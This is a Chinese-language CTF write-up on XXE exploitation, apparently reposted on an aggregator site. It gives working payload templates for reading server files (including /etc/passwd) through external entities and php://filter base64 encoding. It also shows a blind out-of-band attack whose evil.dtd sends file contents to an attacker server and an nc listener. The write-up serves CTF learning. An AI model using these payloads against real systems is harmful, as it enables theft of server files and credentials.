CTF-XXE 漏洞解題思路總結

一、XXE 漏洞簡介

XXE (XML External Entity) 漏洞允許攻擊者通過構造惡意的 XML 輸入,強迫服務器的 XML 解析器執行非預期的操作。在 CTF 場景中,最常見的利用方式是讓解析器讀取服務器上的敏感文件,并將其內容返回給攻擊者。

二、核心攻擊載荷 (Payloads)

根據靶機是否在響應中直接返回注入內容,攻擊方式可分為“有回顯”和“無回顯”兩種。

1. 有回顯的 XXE (In-Band XXE)

這是最直接的情況,服務器會將讀取到的文件內容顯示在返回頁面上。

基礎文件讀取

通過定義一個外部實體來加載本地文件,并在 XML 的某個字段中引用該實體。

Payload 模板:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ctf [

??<!ENTITY xxe SYSTEM "file:///path/to/your/flag">

]>

<root>

????<data>&xxe;</data>

</root>

關鍵點:

  • <!ENTITY xxe SYSTEM "file:///path/to/your/flag">: 定義一個名為 xxe 的實體,其內容來自指定的本地文件路徑。

  • &xxe;: 在 XML 數據中引用該實體,解析器會將其替換為文件內容。

使用 PHP Filter 繞過

當文件內容包含特殊字符(如 <、>)導致 XML 解析失敗,或靶機后端為 PHP 時,可以使用 php://filter 將文件內容進行 Base64 編碼后輸出,避免解析錯誤。

Payload 模板:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ctf [

??<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/path/to/your/flag">

]>

<root>

????<data>&xxe;</data>

</root>

使用方法:

  1. 發送 Payload。

  2. 將返回的 Base64 字符串進行解碼,即可獲得原始 Flag。

2. 無回顯的 XXE (Blind XXE OOB)

當服務器不返回任何注入相關的數據時,需要采用帶外攻擊(Out-of-Band),讓服務器主動將數據發送到攻擊者控制的公網服務器上。

攻擊流程:

  1. 準備公網服務器: 準備一臺有公網 IP 的服務器,并監聽一個端口(例如 nc -lvp 8888)。

  2. 構造兩部分 Payload:
    a. 發送給靶機的 Payload:
    此 Payload 定義了兩個參數實體,一個用于讀取文件,另一個用于加載位于攻擊者服務器上的惡意 DTD 文件。

<?xml version="1.0"?>

<!DOCTYPE ctf [

????<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">

????<!ENTITY % dtd SYSTEM "http://your-attacker-server.com/evil.dtd">

????%dtd;

]>

<root><data>blind</data></root>

  1. b. 在攻擊者服務器上創建 evil.dtd 文件:
    這個 DTD 文件會構造一個最終請求,將之前讀取并編碼好的文件內容(%file)作為參數,發送到攻擊者服務器的監聽端口。

<!ENTITY % send "<!ENTITY &#x25; exfil SYSTEM 'http://your-attacker-server.com:8888/?data=%file;'>">

%send;

  1. 接收 Flag: 在攻擊者服務器的監聽端口上,會收到一個包含 Base64 編碼 Flag 的 HTTP 請求。

深度解析:為什么需要“兩步走”的攻擊?

這是一個關鍵問題。直接在同一個 DTD 塊中完成“讀取文件”和“發送數據”兩個操作是行不通的,因為這違反了 XML 的規范。

  • 限制: XML 解析器在解析一個 DTD 塊時,不允許在其內部的一個實體定義中,引用同一個 DTD 塊中剛剛定義的另一個參數實體來構造外部請求。這是一種安全限制,防止了過于復雜的嵌套操作。

  • 繞過方法: 兩步走的攻擊巧妙地繞過了這個限制。

    1. 第一步(主 Payload): 讓靶機先執行第一個任務——讀取文件并存入參數實體 %file。然后,讓它去請求外部的 evil.dtd 文件。

    2. 第二步(evil.dtd): 當靶機開始解析 evil.dtd 時,它進入了一個全新的解析上下文。在這個新環境中,%file 實體是一個已經存在、已知的值,而不是正在定義的。因此,evil.dtd 中的指令可以自由地使用 %file 的內容來構造新的 HTTP 請求,從而將數據發送出來。

簡單來說,通過加載外部 DTD,我們欺騙了解析器,創造了一個新的執行環境,使得原本被禁止的操作變得可行。

三、CTF 解題通用策略

  1. 漏洞測試: 首先使用一個已知存在的文件(如 file:///etc/passwd)來確認 XXE 漏洞是否存在以及是否有回顯。

  2. 路徑猜測: 根據題目提示和常見配置,猜測 Flag 文件的絕對路徑(如 /flag, /flag.txt, /root/flag.txt 等)。

  3. 優先直接讀取: 總是先嘗試最簡單的有回顯文件讀取方法。

  4. 編碼繞過: 如果直接讀取失敗,嘗試使用 php://filter 進行 Base64 編碼。

  5. 盲打帶外: 如果確認無回顯,采用 Blind XXE OOB 策略。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/94456.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/94456.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/94456.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

GitLab:一站式 DevOps 平臺的全方位解析

GitLab&#xff1a;一站式 DevOps 平臺的全方位解析 在當今數字化時代&#xff0c;軟件研發的效率與質量直接決定企業的市場競爭力。GitLab 作為全球領先的 DevOps 平臺&#xff0c;憑借 “從構思到部署” 的全流程管理能力&#xff0c;已成為無數企業加速軟件交付的核心工具。…

Flink富函數:一種更靈活、可擴展的方式來定義數據流的處理邏輯

本文重點 Flink中的富函數類是一組用于處理數據流的函數接口和實現類。富函數類提供了一種更靈活和可擴展的方式來定義數據流的處理邏輯。 富函數類 富函數類是DataStream API提供的一個函數類的接口,所有的Flink函數類都有其Rich版本。富函數類一般是以抽象類的形式出現的。…

【STM32】HAL庫中的實現(四):RTC (實時時鐘)

&#x1f552;HAL庫中的實現&#xff1a;RTC&#xff08;Real-Time Clock&#xff09;實時時鐘RTC 是 STM32 的低功耗實時時鐘模塊&#xff0c;常用于&#xff1a; 實時時間維護&#xff08;年月日時分秒&#xff09;定時喚醒日志時間戳鬧鐘功能RTC&#xff08;實時時鐘&#x…

Pauli 矩陣指數函數展開為顯式矩陣 e^A -> B

要展開表達式 為普通矩陣&#xff0c;其中 是 Pauli 矩陣&#xff0c; 是單位向量&#xff0c; 是實數。以下是詳細推導步驟&#xff1a;1. Pauli 矩陣的性質Pauli 矩陣定義為&#xff1a;它們滿足以下關系&#xff1a;?其中 是 Kronecker delta&#xff0c;? 是 Levi-…

【Algorithm | 0x03 搜索與圖論】DFS

DFS基礎知識典型例題例1&#xff1a;n皇后問題例2&#xff1a;拍照例3&#xff1a;理發基礎知識 核心原理&#xff1a;一條路走到黑 示意圖&#xff1a;其含義表示&#xff0c;在這個圖中頂層是第0層&#xff0c;也就是后面dfs的入口&#xff0c;一般從dfs(0)開始操作。 模版&a…

Redis的數據過期策略有哪些?

Redis內部通過兩種主要策略來處理過期的Key&#xff1a; 惰性刪除 惰性刪除&#xff1a;顧明思議并不是在TTL到期后就立刻刪除&#xff0c;而是在訪問一個key的時候&#xff0c;Redis會先檢查這個鍵是否過期。如果過期&#xff0c;就刪除它&#xff0c;然后返回nil。 這種方式非…

水庫雨水情測報和大壩安全監測系統解決方案

一、方案背景 在全球氣候變化和極端天氣頻發的背景下&#xff0c;水庫作為重要的水利設施&#xff0c;承擔著防洪、供水、灌溉、發電等多重功能。然而&#xff0c;由于水庫蓄水量巨大&#xff0c;一旦發生潰壩或運行異常&#xff0c;將對下游地區造成不可估量的生命財產損失。因…

BFS 和 DFS 編程思想、框架、技巧及經典例題總結

BFS 和 DFS 編程思想、框架、技巧及經典例題總結 一、核心編程思想 BFS&#xff08;廣度優先搜索&#xff09; 核心思想&#xff1a;以「層次遍歷」為核心&#xff0c;從起點出發&#xff0c;優先探索距離起點最近的節點&#xff0c;逐層擴散遍歷。本質&#xff1a;通過「隊列」…

【面試場景題】日志去重與統計系統設計

文章目錄題目場景描述要求問題考察點解答思考一、核心解決方案&#xff08;基礎版&#xff0c;單節點32GB內存、10臺節點&#xff09;1. 整體架構選型2. 關鍵步驟詳解&#xff08;1&#xff09;數據分片&#xff1a;解決“數據量大&#xff0c;單節點處理不了”的問題&#xff…

【Day 16】Linux-性能查看

目錄 一、Stress系統壓力測試工具 二、性能查看 &#xff08;一&#xff09;查看CPU # nproc # lscpu # top # uptime # mpstat 數字1 數字2 &#xff08;二&#xff09;查看內存 # dmidecode -t memory | less # free -h # …

【ICCV2017】Deformable Convolutional Networks

一、摘要盡管卷積神經網絡&#xff08;CNN&#xff09;在視覺識別任務上取得巨大成功&#xff0c;但其固有的固定幾何結構&#xff08;固定卷積采樣網格、固定池化窗口、固定 RoI 劃分&#xff09;嚴重限制了對未知幾何變換&#xff08;尺度、姿態、形變、視角變化&#xff09;…

echarts在前后端分離項目中的實踐與應用

目錄 一、ECharts簡介 二、后端數據接口設計 三、數據結構設計 1. 柱狀圖數據結構 2. 餅圖數據結構 四、后端實現要點 五、前端ECharts配置解析 1. 柱狀圖配置 2. 餅圖配置 六、最佳實踐建議 七、總結 一、ECharts簡介 ECharts是百度開源的一個基于JavaScript的可視…

SQL 四大語言分類詳解:DDL、DML、DCL、DQL

SQL&#xff08;結構化查詢語言&#xff09;通常被分為四種主要類型&#xff0c;每種類型負責不同的數據庫操作。下面我將詳細介紹這四類SQL語言的語法和用途。一、DDL (Data Definition Language) 數據定義語言功能&#xff1a;定義和管理數據庫對象結構&#xff08;表、視圖、…

ESP-idf框架下的HTTP服務器\HTML 485溫濕度采集并長傳

項目描述:本項目采用485采集溫濕度以及電壓電流等,485模塊分別為下圖,串口轉485模塊采用自動收發模塊,ESP32工作在AP熱點模式,通過手機連接esp32的熱點來和esp進行數據通訊,使用esp32作為HTTP服務器缺陷:項目的最終HTML頁面代碼可發給AI讓其寫注釋#include "freertos/Free…

雅江工程解鎖墨脫秘境:基礎條件全展示(區位、地震、景點、天氣)

目錄 前言 一、區位信息 1、空間位置 2、區位介紹 二、地震信息 1、歷史地震信息 2、5.0級以上大地震 三、景點信息 1、景點列表分布 2、4A級以上景點 四、天氣信息 1、天氣實況 2、天氣應對挑戰 五、總結 前言 相信最近大家對雅江電站的超級大工程項目應該有所耳…

??機器學習貝葉斯算法

??一、引言??在當今機器學習領域&#xff0c;貝葉斯算法猶如一顆璀璨的明星。你是否想過&#xff0c;垃圾郵件過濾系統是如何準確判斷一封郵件是否為垃圾郵件的呢&#xff1f;這背后可能就有貝葉斯算法的功勞。今天&#xff0c;我們就一同走進貝葉斯算法的世界&#xff0c;…

Chisel芯片開發入門系列 -- 18. CPU芯片開發和解釋8(流水線架構的代碼級理解)

以【5 Stage pipeline CPU】搜索圖片&#xff0c;選取5幅有代表性的圖列舉如下&#xff0c;并結合Chisel代碼進行理解和點評。 圖1&#xff1a;原文鏈接如下 https://acsweb.ucsd.edu/~dol031/posts/update/2023/04/10/5stage-cpu-pipeline.html 點評&#xff1a;黑色的部分…

Docker容器中文PDF生成解決方案

在Docker容器中生成包含中文內容的PDF文件時&#xff0c;經常遇到中文字符顯示為方塊或亂碼的問題。本文將詳細介紹如何在Docker環境中配置中文字體支持&#xff0c;實現完美的中文PDF生成。 問題現象 當使用wkhtmltopdf、Puppeteer或其他PDF生成工具時&#xff1a; 中文字符…

2.java集合,線程面試題(已實踐,目前已找到工作)

1線程的創建方式 繼承Thread類實現Runnable接口實現Callable接口 2.這三種方式在項目中的使用有哪些&#xff0c;一般都是怎么用的 繼承thread類實現線程的方式通過實現run方法來實現線程&#xff0c;通過run進行線程的啟用實現runnable方法實現run方法&#xff0c;然后通過thr…

站在前端的角度,看鴻蒙頁面布局

從Web前端轉向鴻蒙&#xff08;HarmonyOS&#xff09;開發時&#xff0c;理解其頁面布局的相似與差異是快速上手的核心。鴻蒙的ArkUI框架在布局理念上與Web前端有諸多相通之處&#xff0c;但也存在關鍵區別。以下從五個維度系統分析&#xff1a; &#x1f4e6; 一、盒子模型&a…